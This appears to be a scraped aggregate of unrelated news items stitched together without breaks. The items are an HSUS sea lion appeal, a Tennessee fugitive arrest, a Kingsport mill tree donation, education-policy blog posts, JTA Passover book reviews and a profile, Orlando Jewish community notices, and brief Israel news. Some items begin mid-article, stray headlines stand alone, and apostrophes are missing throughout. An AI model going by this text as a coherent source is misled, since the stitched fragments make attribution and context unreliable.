The HSUS has been a big player in this controversy for years. In 2008, we filed a lawsuit to block plans by the federal government to kill or capture up to 425 sea lions near the Bonneville Dam on the Columbia River, which divides Oregon and Washington. After a lengthy court battle, in 2010, a federal appellate court rejected the sea lion removal plan, specifically noting that salmon mortality from controllable human activities (including commercial and recreational fishing, and operation of hydropower facilities) far exceeds sea lion predation rates. A 2011 authorization to kill or capture sea lions on the Columbia River was also rejected as a result of a second HSUS lawsuit. These lawsuits prevented dozens, if not hundreds, of sea lions from being killed. In 2012, the states were finally authorized to kill up to 92 sea lions each year. Already this year, they have killed 32 sea lions at the Bonneville Dam.

Please write to the National Marine Fisheries Service and ask the agency to deny the permit allowing Oregon and Washington to continue the killing. These states need to focus on active management of the human factors that are the greatest threats to salmon. Its wrong, and wrong-headed, to scapegoat a native species for just doing what comes naturally.
BLOUNTVILLE, Tenn.A man wanted in connection with a Wednesday evening pistol-whipping incident in Virginia was arrested Thursday night in Tennessee.

The Sullivan County Sheriff's Office arrested Brian Shell, 41, Bristol, Tennessee,on a fugitive from justice warrant.

According to the Sheriff's Office, police received information about 8 p.m. Thursday that Shell was at a mobile home on Eula Private Drive in Bristol. A vehicle matching one the Bristol Virginia Police Department had been looking for was in the driveway.

The Sheriff's Office reported that Shell would not answer the door or communicate with officers. About three hours later, he surrendered and was taken into custody without incident.

The SWAT team was on standby but did not make entry.

On Wednesday evening, Bristol officers were called to the area of Vance Street and Euclid Avenue on the report of a possible fight and shots fired. They arrived, but found nothing.

A short time later, officers were called to a home in the 200 block of Vance Street. A man, identified as Jon McGuire of Bristol, Virginia, said he had been pistol-whipped and the gun accidentally fired.

Sgt. Steve Crawford said it appears the bullet grazed the man's head. He was taken to Bristol Regional Medical Center for treatment.

Crawford said Shell faces charges of malicious wounding and use of a firearm in the commission of a felony. He remains incarcerated in the Sullivan County jail.
KINGSPORT, Tenn.  Domtar Corporations Kingsport mill has continued its centennial celebration by donating 100 trees to the city.

Cherokee Princess Dogwoods and Paperbark Maples have been planted along both sides of Fort Henry Drive beginning at Memorial Park and ending near Center Street.

Representatives from Domtar and Keep Kingsport Beautiful announced the contribution at a dedication ceremony Thursday.

As we celebrate our 100th anniversary in 2016, it is important for Domtars Kingsport mill to honor and support the community that has contributed to our success, said Bill MacPherson, Kingsport mill manager, at the ceremony, as written in the statement. Our longstanding support of Keep Kingsport Beautiful has been a natural outgrowth of our shared interest in the environment. It is our hope that when people travel along Fort Henry Drive, lined with these majestic and thriving trees, they will see them as a reflection of the vibrant community that makes up the city of Kingsport.

This year the Kingsport mill is commemorating its milestone anniversary with local activities and events that reinforce the operations longstanding dedication to the community, the statement says.

We are honored to celebrate 100 years with a company that has a longstanding tradition of giving back to its community, said Kingsport Mayor John Clark at the ceremony, as written in the statement. Thank you, Domtar, for making Kingsport a greener place to live now and for the next 100 years.

Domtars Kingsport operation began in 1916, when local businessmen constructed the mill, known as the Kingsport Pulp Co., to process fiber from a wood alcohol extract operation, the statement says.

Today, the plant has the capacity to produce nearly 420,000 tons of paper and more than 300,000 tons of pulp each year with an estimated regional economic impact of $190 million per year.
EMORY, Va.  Stephanie Taylor said it will be hard to leave her Southwest Virginia home after she graduates from Emory & Henry next month. Ready or not, the 22-year-old history major from Gate City, Virginia, is preparing to attend West Chester University in Philadelphia to study a subject thats fascinated her since childhood.

Since Taylor read The Diary of Anne Frank at age 10, shes been sympathetic to the trials of the Jews killed by Adolf Hitlers Nazi Germany and its collaborators.

I was in fifth grade when I read the book, and I immediately fell in love with her story, said Taylor.

The more she read, the more information she craved about the young girl who hid during the German occupation of the Netherlands during the war.

I think Ive read about every book written about Anne Frank, said Taylor.

During E&Hs Ampersand Day on Friday, Taylor will present a synopsis of her senior thesis on teenage girls who lived through the Holocaust, whether by obtaining false papers, hiding, or surviving in the death camps.

I am mainly focusing on the girls stories and their words through memoirs, interviews, and oral histories, she said.

Ampersand Day showcases student projects that demonstrate student growth. Projects include undergraduate research, creative endeavors, internships, entrepreneurship, and other integrative and hands-on work.

The event also highlights Project Ampersand, an E&H program that allows students to connect their passions to projects that aim to bring about positive change in the world.

Free of charge and open to the public, the presentations occur in concurrent sessions that begin at 9, 10 and 11 a.m. A Student Showcase featuring the work of five E&H students will begin at 2 p.m. in Wiley Hall Auditorium.

At 3:30 p.m., the community will gather for a celebration that includes a regional barbecue cook-off, live music and other activities. Admission is $12 for adults, $6 for children ages 4 to 10, and children younger than 3 are admitted free.

When Taylor enrolled in 2012, she considered studying the Civil War, but a class trip to the Holocaust Museum in Washington, D.C., during her freshman year changed her mind. It was there she met her first Holocaust survivor.

She has taken advantage of the opportunity to travel internationally through the college on two occasions. She first went to central Europe to see for herself what countries such as Poland are like. This past spring, she went to northern Europe and fulfilled her lifelong dream of going to the Anne Frank house.

Stephanie is a unique student in this part of the country, one who has academic talents and the desire to ensure that her scholarly interests are never detached from contemporary realities and lived experiences, said Matthew Shannon, history professor. Her senior thesis is unique, too, in that it emphasizes both gender and generation as frameworks for understanding the broader implications of the Holocaust on teenage girls who lived in Nazi-occupied Europe.

Last month, Taylor visited the Virginia Holocaust Museum in Richmond, where she met Holocaust survivor Halina Zimm, a Jewish woman in her 90s who survived by obtaining false papers stating she was Christian.

Taylors conversations with Zimm are included in her thesis and will be mentioned during her presentation.

Mrs. Zimm went to work for a woman in Warsaw, Poland, who did not know she was of the Jewish faith, said Taylor.

Ironically, Zimm worked across the street from the Warsaw Ghetto, the largest of all Jewish ghettos in Nazi-occupied Europe, and witnessed the Warsaw Ghetto Uprising, the largest single revolt by Jews during World War II.

The saddest part of her story is hearing her describe the screams and cries from the Jewish people, said Taylor. Mrs. Zimm told me that one day she started crying at work, and her employer asked why she had tears. Mrs. Zimm replied, they are human beings and its so sad.

Her employer replied that as human beings, she could cry for them, but as Jews, let them burn.

My goal in life is to continue the work of Holocaust survivors by telling their stories. One day soon, all the survivors will be gone. And, I dont want their stories to fade, Taylor said.

I want my audience to hear the personal stories of survivors. I can talk about the numbers-six million Jews were killed and 1.2 million children died, but it doesnt mean the same until you begin to think of them as individuals.

After receiving a masters degree in Holocaust and genocide studies, she plans to attend Clark University in Massachusetts to receive a doctorate degree.

My absolute dream job is to become a director of the Anne Frank House, said Taylor. The biographical museum is located in the Netherlands.

Id also like research and write about Anne Franks mother, a subject not well-known.

Taylor wants to use the tragedy of the Holocaust to warn people of the dangers of hatred and genocide.

The Holocaust just didnt happen overnight. It happened in small increments that added up over time, said Taylor, who sees similarities in todays society when people feel ostracized.

I like what Mrs. Zimm told me. She said it doesnt matter how smart you are. All that matters is you have a good heart because without a heart, you are not human.
Tusculum Colleges nursing program was awarded a $116,159 grant from the BlueCross BlueShield of Tennessee Health Foundation for expansion of the nursing simulation lab.

The funds will be used to expand the nursing programs simulation laboratory by adding an infant and a pediatric simulator for infant and pediatric nursing training.

Michelle Arbogast, the associate director of foundation and donor relations,said the purpose of this grant is to educate nursing students in practical clinical exercises without causing any harm to patients.

It will provide an alternative to the pediatric clinical experience, Dr. Lois Ewen, the dean of the School of Nursing, Health Sciences and Human Services and professor of nursing said. Simulation allows students an opportunity to make clinical decisions and see the consequences of those decisions. We all learn from our mistakes. With simulation, students can learn from their mistakes without harming a patient.
University School will host Pickin in The School-Yard April 30, from 10 a.m.  2 p.m.

The event is an annual fundraiser for the Junior Appalachian Musician program (JAM) at University School.

JAM is an after-school music program that introduces students to the Appalachian music of their communities and their region through small group instruction. University School is the first school in the State of Tennessee to offer this program to its students.

The event will include a number of student groups performing Appalachian music throughout the day. Members of the ETSU Bluegrass, Old Time, and Country Music Studies Program, JAM students, and other University School students are scheduled to perform on both the school lawn and in the gymnasium.

Pickin in The School-Yard will also include food, arts and crafts, a plant sale and a silent auction.

For more information, call 423-439-4333 or email allisonk@etsu.edu.
Harper's dramatic HR sends Phillies to first World Series since 2009

The reigning NL MVP hit a go-ahead home run in the bottom of the eighth inning to give the Phillies a 4-3 win over the Padres
Former U.S. Secretary of Education Arne Duncan has joined the Brookings Institution, a think tank, as a nonresident senior fellow in the Governance Studies program at the Brown Center on Education Policy.

That means hell be participating in education-related eventsand yes, blogging! Duncans analysis and opinion pieces will appear on the Brown Center Chalkboard , the Institutions edu-policy blog.

This isnt Duncans only gig since stepping down from the helm of the Education Department at the end of 2015. He recently announced that he will be a managing partner at the Emerson Collective working with disconnected youth, including high school dropouts and those with criminal records, in his native Chicago.


In the annals of the strange and wacky things that transpire on local school boards, this one from Kentucky merits a mention.

The Kentucky state police is alleging that the chairman of the Knox County School Board cheated on his GED exam by having someone else take the test for him .

You read that right.

The state police says that it has surveillance footage showing the chairman, Dexter Smith, appearing at the Jackson County Adult Education Center on March 30 to take a GED exam, speaking to an employee, and then leaving. It appears that the employee then takes the test for Smith, according to media reports.

The Lexington Herald-Leader also reported that an adult education teacher at the center had admitted to taking the test for Smith, who was elected to the school board in 2012.

You may be wondering: shouldnt a school board member have a high school diploma or a GED?

Good question.

According to the Associated Press , Kentucky law does require school board members who get at least $75 a day in expenses to hold a high school diploma or GED. And, according to the AP, Smith, who had dropped out of high school at the age of 17, signed an affidavit when he first ran for office, attesting that he, in fact, had met the requirements to be a school board member.

Fast forward a few years later when questions about Smith started to surface.

In December 2015, the state board of education reported, after an investigation, that Smith and another board member, Merrill Smith, had improper involvement in personnel matters and in the day-to-day operation of schools,  according to the Herald-Leader. Superintendent Kelly Sprinkles was also found to have violated rules about hiring, according to the paper.

Amid a contentious meeting last month, the board voted not to renew Sprinkles contract , and Smith was among those who voted to get rid of Sprinkles.

Thats when residents started narrowing in on Smith and scrutinizing his qualifications, according to the AP. To quell the tide, Smith responded by posting a copy of a diploma he got from Nation High School on Facebook.

That only made things worse. Nation High School is not accredited by the Better Business Bureau, and a local paper said it was a diploma mill and a scam, according to the AP. And if you Google the school, you also get a PR Newswire release from 2011 trumpeting that the school offers high school diplomas for a tuition fee as low as $289.

Smith was supposed to take the GED test to lay to rest questions about his education qualifications.

Now, in addition to the state police investigation into the alleged cheating on the GED exam, the states attorney general is also looking into the matter of his diploma. The Kentucky Department of Education also has an open investigation into numerous allegations regarding the Knox County Schools, a spokeswoman for the agency told the Associated Press.

The district told the AP that the employee who allegedly took the exam for Smith had retired amid the district investigation. The Herald-Leader also reports that the police are investigating whether Smith had committed perjury.
Nothing goes right for Edgewood in long trip to East Central
(JTA)-Afikomen hunts, a rambunctious pup and the catchy classic "Dayenu." All are featured in a half-dozen new Passover books for children that will inform and entertain even the littlest kid-or a whole herd of 'em.

The eight-day holiday kicks off this year on the evening of April 22.

Why not pick up a new tome for the tyke in your life? Prices are about two zuzim and up.

Passover is Coming

Tracy Newman, illustrated by Viviana Garofoli

Kar-Ben; ages 1-4; $5.99

This colorful board book is the latest addition to a lively series that introduces young kids to the Jewish holidays. Here, the green buds of spring are the first hint that Passover is coming. Readers follow a family as it prepares for the holiday, from spring cleaning and using home-grown parsley for the seder plate to learning the Four Questions and anticipating the hunt for the afikomen. The joyful refrain-"Passover is coming!"-repeats at the end of each verse and is sure to build excitement as the date approaches.

Pesach Guess Who?

Ariella Stern; illustrated by Patti Argoff

Hachai; ages 3-5; $9.95

Hachai continues to create lively, interactive books appealing to haredi Orthodox families. Young kids will enjoy the rhyming clues to "who am I" questions-"I'm a food that's baked in a hurry, but I still taste great, don't worry!"-in this lift-the-flap book about Passover. The whole mishpacha-mom, dad and the five kids-all lend a hand to sweep and clean the house. They watch as workers bake handmade matzah and make startled faces as they bite into the bitter herbs. The end page poses a series of holiday observance questions (the answer key is color- and number-coded) and there's a glossary, too.

ABC Passover Hunt

Tilda Balsley; illustrated by Helen Poole

Kar-Ben; ages 3-8; $17.99, hardcover; $7.99, paperback

A lively alphabet hunt is on in this large format, brightly illustrated book that introduces young kids to Passover themes, customs and foods. The clever clues, from A to Z, are thought-provoking and range from easier spot-the-answer picture puzzles to more challenging questions ("At last the Jews had found their home, how many long years did they roam?) that will keep kids engaged and entertained. Balsley keeps things interesting with a variety of activities, including puzzles, mazes, riddles and maps. There's an illustrated answer key at end, along with a brief explanation of the holiday.

More Than Enough: A Passover Story

April Halprin Wayland; illustrated by Katie Kath

(Penguin Random House; ages 3-5; $16.99)

This lively book is a riff on the Passover favorite "Dayenu," a song that echoes with the theme of gratitude. Readers follow a contemporary family as it readies to celebrate the holiday, including a trip to the farmer's market, where it doesn't take much to convince mom to adopt a kitten from a shelter. They chop apples for charoset, dress up for grandmother's seder and hunt for the afikomen. The word "dayenu" repeats throughout the story. The colorful, cartoon-like illustrations bring the story to life-many are full-page or double-spread. The happy ending includes a Passover sleepover. The book concludes with an author's note, glossary and the music to "Dayenu."

Kayla and Kugel's Almost Perfect Passover

Ann Koffsky

Apples & Honey Press; ages 3-5; $9.95

In this second "Kayla and Kugel" book, the fun starts right away as the young girl and her dog invite readers into their home for a seder. When Kayla makes her own Haggadah, the rambunctious Kugel gets tangled in the ribbon and knocks over the glue. In simple, easy-to-follow verse, Kayla tells young readers some of the basics of a seder. She smiles at the sweet taste of charoset, but her braids stand on end and she scrunches her face at the bitter taste of maror, symbolizing slavery. Kids will enjoy the mayhem when the mischievous Kugel sets the family off on an adventurous hunt for the afikomen. The end pages include a search-and-find activity. The author's note from Koffsky poses open-ended, engaging questions to spark family conversations, such as "Why do you think many holidays have songs to go with them?"

A Place for Elijah

Kelly Easton Ruben; illustrated by Joanne Friar

Kar Ben; ages 5-9; $17.99

Passover is Coming (Kar-Ben)

This endearing story-the first Jewish picture book from the acclaimed author of "The Outlandish Adventures of Liberty Aimes"-opens on the first night of Passover as a young girl named Sarah is anxiously setting the table, making sure to include a place for Elijah. As the seder unfolds, a rainstorm and cold winds threaten Sarah's neighborhood, and there's a power failure. The lights stay on in Sarah's home, however, and one by one, the neighbors appear at the family's door and Sarah sets another place. First it's Mrs. Faiz, the florist, then Bagel Ben and Doughnut Dan. Kids will take notice when Music Man Miguel and his mischievous monkey Manny join the growing crowd. But when the young boy who sells magazines arrives, Sarah is worried that there is no longer a seat for Elijah. Kids will be surprised by the story's satisfying end. The large illustrations match the gentle tone of the story and capture the multicultural life of the neighborhood.

Ruben told JTA she was inspired by the Haggadah passage "Let all who are hungry come and eat." She wanted to evoke the sense of tolerance and welcoming strangers-a prominent theme of the seder.
Students from all socioeconomic groups have been earning bachelors degrees at increasing rates in recent years, but gaps in college attainment by socioeconomic status have worsened slightly since 1970, according to a report released this week.

A study of college attainment patterns, released by the Pell Institute for the Study of Opportunity in Higher Education , shows that 72 percent of the bachelors degrees earned in 1970 went to students whose families are in the top half of the income spectrum. In 2014, that figure rose to 77 percent. Students whose families are in the bottom half of the income strata earned 23 percent of the bachelors degrees in 2014, compared with 28 percent in 1970.

One reason for the schism in degree attainment, according to the report, is the types of institutions students attend. Students from the bottom two income quartiles more often enroll in colleges with lower graduation rates than do those from wealthier families, the report says.

Making the picture even tougher: College costs that have been rising far more quickly than the Pell and other federal grants that offset their costs for low-income students. And the poverty rate: Between 1989 and 2014, the proportion of students eligible for free or reduced-price lunches grew from 31 percent to 53 percent, the report says.

Despite the great number and diversity of postsecondary educational institutions in the U.S., the 2016 Indicators Report shows that, on average, students from lower-income families are enrolling in institutions with different characteristics than students from higher-income families, Laura W. Perna, the executive director of the University of Pennsylvanias Alliance for Higher Education and Democracy, and Roman Ruiz, a doctoral student there, write in an essay accompanying the data.

Students from lower socioeconomic strata are overrepresented in public two-year colleges, in private, for-profit colleges, and in less-selective institutions, Perna and Ruiz write, and those differences are fueled in large part by students unequal access to the financial resources and academic preparation that are necessary to make different choices.

That stratification in access leads to stratification in outcomes, since the more-selective colleges and universities tend to have higher graduation rates.

Changing those patterns will require major shifts in policy. Perna and Ruiz reiterate arguments familiar to those who have pushed for more equity in the college-access realm: bolstering the Pell Grant program, beefing up academic preparation and access to college-level coursework at needy schools; and a better counseling system to ensure students can make savvy choices about college, including how to pay for it.

Even as college completion patterns show persistent and wide gaps by socioeconomic status, the gaps at an earlier point in timeas students move from high school into collegeare narrowing. In 1970, there was a 33 percentage point gap between the highest and lowest income quartiles of high school graduates enrolling in college. By 2014, that gap had shrunk to 27 points.

The racial and ethnic distribution of high school graduates going on to college shows big improvements since the mid 1970s in all groups, too. By 2014, black students were moving from high school into college at rates that exceeded white, non-Hispanic students.

But the college completion data presented in the Pell report shows that even as the doors to college open for more high school students, the pathway through college, to the degrees that enhance future prospects, is still a bumpy one.
(JTA)-You know Lily. You do. She's that chipper, slyly witty girl who works at the AT&T store-not a real one, but the one you see in those ubiquitous TV ads.

What you may not know is that the actress who plays her, Milana Vayntrub, is a nice Jewish girl. She's a former Soviet refusenik who, between acting gigs, stand-up spots and the comedy webisodes she writes and produces, is trying to change the world.

Can't Do Nothing is a new social-media-driven movement to raise awareness and funds to ease the dire plight of Syrian (and other) refugees. Vayntrub launched the web platform this year after a getaway to Greece with her dad-it turned into a one-woman mission to make some kind of difference once she realized the nature of the drama unfolding just miles away.

"I couldn't leave knowing that I was so close," she told JTA about her decision to extend her trip in hopes of making a difference. "I really believe that an opportunity that goes unfulfilled turns into a curse. And I knew that if I went, I would never regret it."

Using only her iPhone, Vayntrub filmed what would become a compelling 14-minute documentary of her experience helping refugees. "I don't want to be a passive citizen anymore-I want to be... a force for good," she says into her phone's camera with a self-aware smile. Hours earlier, she had traded in her ticket home for one to the isle of Lesbos, where overloaded rafts of Syrians were arriving daily.

"I don't really know what I'm going to do," she says, "but I can't do nothing."

The news footage she saw in Athens from the BBC and other international channels-CNN was showing wall-to-wall Trump and Emmys coverage-made her realize just how ignorant she and most Americans are of the situation. In particular, a clip of a girl at the Macedonian border passing out sack lunches to refugees boarding trains hit home.

"That really affected me for a couple of reasons," she said. "One, this is a girl who is not funded by a nonprofit. She's out there literally by herself just passing out these bags. And two, there's something about the imagery of groups of people getting on crammed trains in the middle of nowhere that was very reminiscent of what our people had to go through."

Once on Lesbos, Vayntrub said she did what she could-helping refugees off boats, changing diapers, offering rides to the buses that would take migrants to inland camps.

Upon her return to the U.S., the sense of duty lingered, and led her to team up with Eron Zehavi, a friend and tech entrepreneur, to start CantDoNothing.org, a site to "connect people who want to help with people who are already helping," she explained.

In the little more than two months since #cantdonothing went live, it's made more than a quarter-million trips around the Twitterverse-and proven that hashtags can lead to hard cash. Vayntrub claims donations sparked by the campaign have funded multiple classrooms and hired full-time teachers at refugee camps in Jordan, bought a first-aid tent and ambulance in Lesbos, and provided prescription eyeglasses for more than 150 children, among other things.

Can't Do Nothing isn't a fundraising entity-"the last thing I wanted to do was start another organization when there are so many that are already doing it and need help," Vayntrub said. Rather, the site connects people to groups like the Boat Refugee Foundation, a Dutch-based network that puts volunteers on the ground in Greece; The Syria Fund, supporting educational programs for refugees; and Off Track Health, which has been providing first aid and other services on Lesbos and elsewhere. Separate areas on the website encourage users to give time, money or their voice ("This is something we all have, and it's free") to the cause.

"I've always felt that as an influencer, I have an obligation to spread a message of love and good-because I can, because people are listening to what I'm saying," Vayntrub said. "So why not give them something to actually listen to?"

Besides her ubiquitous presence as Lily, Vayntrub appears in the new Judd Apatow-produced Netflix series "Love," HBO's "Silicon Valley" and several online shorts. The archived web series "Let's Talk About Something More Interesting," in which she co-conducts snarky interviews with celebs such as Matt Damon, still draws a following, too.

It's not a career path that was obvious in 1989, when Vayntrub, then 2 years old, and her parents left everything behind in their native Tashkent, Uzbekistan-then still part of the Soviet Union-on an arduous yearlong escape via Austria and Italy that ultimately brought them to Los Angeles.

She recollects little of the journey, but "I remember having parents who weren't from here," she said. "So I certainly feel connected to that, I understand what that's like."

Growing up in a heavily Russian section of West Hollywood, Vayntrub recalls the challenges of learning what it meant to be Jewish after arriving from a place where Judaism, legally, did not exist.

"My grandmother was a nanny for an Orthodox Jewish family, and she would come home and tell us about that," she recalled. "And then we would be, like, 'OK, I guess it's time to learn about Passover.'" Little by little, the Vayntrubs reconnected with their heritage, eventually joining a synagogue.

But Vayntrub said even if she hadn't been Jewish or a refugee herself, the stories of the Syrians fleeing their homes would have sparked her attention and compassion-and that action is in everyone's interest.

"If we don't do anything, what is this crisis going to look like 10 years down the line, when millions of kids don't have an education or resources?" she asked. "It makes so much sense to me as an investment in the future of the whole planet."

In June, she will travel back to Greece, as well as Jordan, to see "the fruits of our labor there" and assess what else needs to be done.

By summer, Vayntrub hopes another branch of Can't Do Nothing will have risen-on a different pressing issue such as climate change or homelessness or women's rights, perhaps headed by a different person.

"The goal of Can't Do Nothing is to ask people, what matters for you?" she said. "And whatever it is, what are you doing about it? How bad does it need to get before you take action?

"That's been the biggest lesson in this for me, that I put some effort into trying to make the world better and it's working. I almost can't talk about it without getting emotional because it's so cool."

It has nothing to do with celebrity, Vayntrub insisted.

"I cut together a YouTube video and made a really simple website-anybody could make that website," she said. "Everybody can do something. We all have the power to be influencers. You certainly won't be able to do anything if you don't try."
The entire Orlando community is invited to participate in Mitzvah Day on Sunday, May 1. In past years, The Roth Family Jewish Community Center of Greater Orlando has hosted J-Serve, an International Day of Jewish Youth Service, for Jewish teens in sixth through 12th grades. This year, the service projects have expanded to incorporate different age groups other than teenagers, including young adults, families with young children, and college students.

"Mitzvah Day was created to start to bring the Jewish community together through community service," said Robby Etzkin, acting executive director of The Roth Family JCC. "This year we added service projects for different demographics to supplement our annual teen J-Serve day. We look forward to our families with young children, central Florida college students, and young adults contributing this year. Next year we hope to complete the puzzle by having children in religious school participate in projects with their classes and possibly adding opportunities for active adults without children. The impact of our united Orlando Jewish community on the community we live in we will be very visible on Sunday, May 1 and even bigger in 2017!"

Some of the community service projects will be spread throughout the greater Orlando area with anchor projects being hosted at The Roth Family JCC. Young adults will meet at 9 a.m. at Lake Killarney to do a lake clean up along with paddle boarding. Families with young children can sign up for different 45-minute shifts starting at 9 a.m. at the Jewish Academy of Orlando for an arts and crafts project making birthday cards for children in the hospital. Teens in grades 6-12 have options of doing service with different local nonprofits including Impower, Welbourne Avenue Nursery, New Hope for Kids, or making kits for the homeless at the JCC.

"The focus of Orlando's Mitzvah Day this year is making a positive impact on kids," said Rebecca Michel, J-Serve teen leader and junior at Winter Park High School. "The J-Serve Teen Task Force has been working since August on project planning, fundraising, and marketing. We feel more connected to the projects because we're all young people ourselves and we hope to help the community as much as we can. The best part is we can inspire everyone to continue to serve their communities beyond May 1st!"

Participants will be able to register online in advance and choose the projects that interest them for their age group. To learn more about the projects, visit http://www.orlandojcc.org.

Mitzvah Day is made possible in part by a grant from the Jewish Federation of Greater Orlando. For more information, contact Robby Etzkin, acting executive director, at RobbyE@orlandojcc.org.
Nitzan Goodman (l), the vice president of Knights for Israel, argues with Jenine Yousef (r), a Palestinian from Ramallah, about the Arab-Israeli Conflict at the University of Central Florida on Wednesday, April 6.

Students for Justice in Palestine held its first die-in protest at the University of Central Florida on Wednesday, April 6.

Shortly after noon, UCF students bearing handmade signs laid on a grassy area outside the John T. Washington Center. They remained motionless to demonstrate how Israel's alleged occupation of the West Bank affects Palestinians.

Freshman Noa Tann, 19, held a cardboard sign that read, "Proud Israeli for Justice! In Palestine." Tann said her heritage makes it imperative for her to be involved in organizations such as SJP.

"The actions of the [Israeli] government and the Israel Defense Forces have often been very destructive and very oppressive to Palestinian people," Tann said. "That's something I wish more of the Jewish movement in the U.S. would acknowledge, because then we could love Israel in a way that is more accurate to the truth-in a way that is more compassionate to human lives."

Attacks on the pro-Palestine movement, as put by Tann, stem from the misconception that supporters are anti-Zionist and anti-Semitic. She said the youth who attended her American-Jewish summer camp, which she has been involved with for the last 11 years, largely refrained from acknowledging the truth about the Arab-Israeli Conflict.

"I've seen in the American-Jewish movement, specifically in the [Union for Reform Judaism], a lot of uncritical, unconditional love and acceptance of Israel," Tann said. "I am from Israel. All of my family is there. I love the country. I love my people. I love my culture. However, I think in the same way you can be a proud American and criticize the actions of our government and our army, you can do the same with Israel."

Five Knights for Israel (KFI) members stood beside the nine SJP members participating in the die-in. They held vibrantly colored signs containing phrases such as, "Teach Peace, Not Lies" and "Not Down for the D: Delegitimization, Double Standards, Demonization."

Students on both sides remained silent until KFI member and UCF sophomore Yair Bengio asked the SJP students what they wanted to free Palestine from, referring to the handful of signs that read, "Free Palestine."

His question prompted members from both organizations to begin engaging with one another in a passionate yet civilized debate.

The die-in was part of SJP's second annual Israeli Apartheid Week, which Rezwan Haq, a UCF junior and former SJP member, chaired last year. Haq said after researching the Arab-Israeli Conflict in more depth, he chose to leave SJP at the end of his sophomore year and join KFI in August.

"I feel that people in SJP and pro-Palestinian groups are quick to blame the Israeli government rather than hold Palestinian leadership accountable," Haq said. "Until we hold Palestinian leadership accountable, we won't see any peace in the region."

Haq said the situation that unfolded at the heart of campus was not reflective of a peaceful dialogue, but an argument geared toward confronting ideas.

"Where is that going to take us?" Haq said. "If we don't come to a mutual understanding with each other about what we really want, we'll keep blaming each other for something that's been going on for years."

SJP president and psychology major Elissa Zapata, 22, said her organization wanted to hold a peaceful action to raise awareness about Palestinian human rights issues.

"We don't really see anything past Israel's side of the story," Zapata said. "We definitely want to advocate for Palestine's side of the story, because it's something that needs to be heard."

Students for Justice in Palestine's die-in sparked an animated debate between political science major Joey Roulette, 20, and members of Knights for Israel at the University of Central Florida on Wednesday, April 6.

The UCF senior said she believed that the passionate conversations between SJP and KFI members were accomplishing little if nothing at all. However, KFI vice president Nitzan Goodman, 29, said it was a beneficial experience for the two groups because it prompted verbal communication.

Animated students from both KFI and SJP engaged in civil discourse for nearly three hours, something that Goodman said he had never seen during his four years at UCF.

"People just started talking, and I was very happy to see it," Goodman said. "I spoke with many Muslim students, some were actually from Palestine or had family from Palestine."

Goodman, who was born in the southern Israeli kibbutz of Nir Yitzchak, served in the infantry brigade of the IDF before enrolling at UCF. He said his experiences in Israel helped frame his conversations with the students on Wednesday.

"Dialogue is healthy. But hearing their side made me realize just how far we are from some sort of agreement," Goodman said.
The Jewish Federation of Volusia & Flagler Counties will host guest speaker Angela Orosz, one of only two babies born in Auschwitz, at Temple Beth-El, 579 North Nova Road, Ormond Beach on Tuesday, April 26 at 7 p.m.

This event is free and open to the public.

Angela Orosz came into this world in one of the most horrific places imaginablethe Auschwitz Concentration Camp. As thousands of Jews around her were sent to the gas chambers, Oroszs mother was strong and was sent for hard labor. She was two months pregnant when she arrived at the camp. She hid her pregnancy for months from her Nazi captors.

On Dec. 21, 1944, Orosz was born in Auschwitz weighing only 2 pounds. Immediately after she was born, her mother had to stand outside in the winter for over three hours for roll call.

Two miracles happened at that time. Because Orosz couldnt cry, she survived from being killed, and the other miracle is that her mother had enough milk to feed not only her child but the other baby born in the camp.

Oroszs father, grandparents, aunts and uncles all perished in the camps.

Some 1.1 million people were sent to Auschwitz, most of them would never leave, murdered in the camps gas chambers. Only about 200,000 people are believed to have survived that fate. Orosz and her mother were among them.

A newborn at the time the camp was liberated, Orosz is one of the youngest Auschwitz survivors. She remained an only child because her mother was left sterilized from experiments performed by the notorious Nazi Angel of Death, Dr. Josef Mengele.
Heritage Florida Jewish News is accepting nominations for the 2016 Heritage Human Service Award, which will be presented at the annual meeting of the Jewish Federation of Greater Orlando.

For almost 30 years, individuals who have made major, voluntary contributions of their talent, time, energy and effort to the Central Florida community have been honored with the selection and presentation of this award, said Jeff Gaeser, editor and publisher of the Heritage.

Last years recipient was Berny Raff. Former recipients have included Wolf Kahn (1999), Robert Petree (2007), and Loren London (2014).

According to Gaeser, Each recipient chose their own path, but made considerable and long-lasting contributions to the Jewish community. Nominees for the 2016 award are individuals who do not look for recognition, but perform tikun olanrepairing the worldout of internal motivation.

Nominations should be emailed to news@orlandoheritage.com with the subject Human Service Award, or typed on 8 1/2 x 11 paper and sent by mail to Heritage Florida Jewish News, Human Service Award, 207 OBrien Road, Suite 101, Fern Park, FL 32730. Included should be the name and phone number of the nominee, a documented list of his or her accomplishments, and the name and phone number of the nominator(s).

The Heritage is accepting nominations until Friday, June 3.
Norwegian investigators used BriefCam video synopsis technology to help them catch a bombing suspect in 2011.

ISRAEL21c-In the wake of deadly terrorist attacks at Zaventem Airport and Maelbeek metro station in Brussels yesterday that killed 34 people and injured about 200 others, law-enforcement agencies in Europe's major cities are scrambling to beef up security at airports and transport hubs.

This latest horrific incident-and the revelation that the Islamist suicide bombers were known to police and yet still managed to access the airport's departure hall-has intensified speculation that European countries will get serious about adopting tough Israeli screening methodologies long considered the world's best practices.

Pini Schiff, a former security director at Israel's Ben Gurion Airport, told the Associated Press that the attacks in Brussels point to "a colossal failure" of Belgian security and that "the chances are very low" such an attack could have happened in Israel.

For full story go to israel21c.org
Netanyahu vows to keep Golan Heights forever

JERUSALEM (JTA)Israel will never give up the Golan Heights, Prime Minister Benjamin Netanyahu said at the weekly Cabinet meeting on Sunday, a day after the Israeli leader said he delivered the same message to U.S. Secretary of State John Kerry.

The meeting was held for the first time on the land captured from Syria during the 1967 Six-Day War.

I chose to hold this festive Cabinet meeting on the Golan Heights in order to deliver a clear message: The Golan Heights will forever remain in Israels hands. Israel will never come down from the Golan Heights, Netanyahu said.

Israel annexed the Golan Heights in 1981. The international community has never recognized the annexation.

Syrian President Bashar Assad reportedly has said that one principle upon which peace talks to end his countrys years-long civil war must be based is that the entire Golan Heights be considered Syrian and the part annexed by Israel be considered occupied territory.

Netanyahu told the government ministers at the Cabinet meeting that in speaking with Kerry the previous evening, he told the secretary of state that Israel will not oppose a diplomatic settlement in Syria on condition that it not come at the expense of the security of the State of Israel, specifically that Iran, Hezbollah and the Islamic State will be removed from Syrian soil.

He added that he also told Kerry that Israel will not relinquish the Golan Heights.

Netanyahu called the Golan an integral part of the State of Israel in the new era.

He later said: The time has come for the international community to recognize reality, especially two basic facts. One, whatever is beyond the border, the boundary itself will not change. Two, after 50 years, the time has come for the international community to finally recognize that the Golan Heights will remain under Israels sovereignty permanently.

UNESCO resolution ignores Jewish ties to Temple Mount, Western Wall

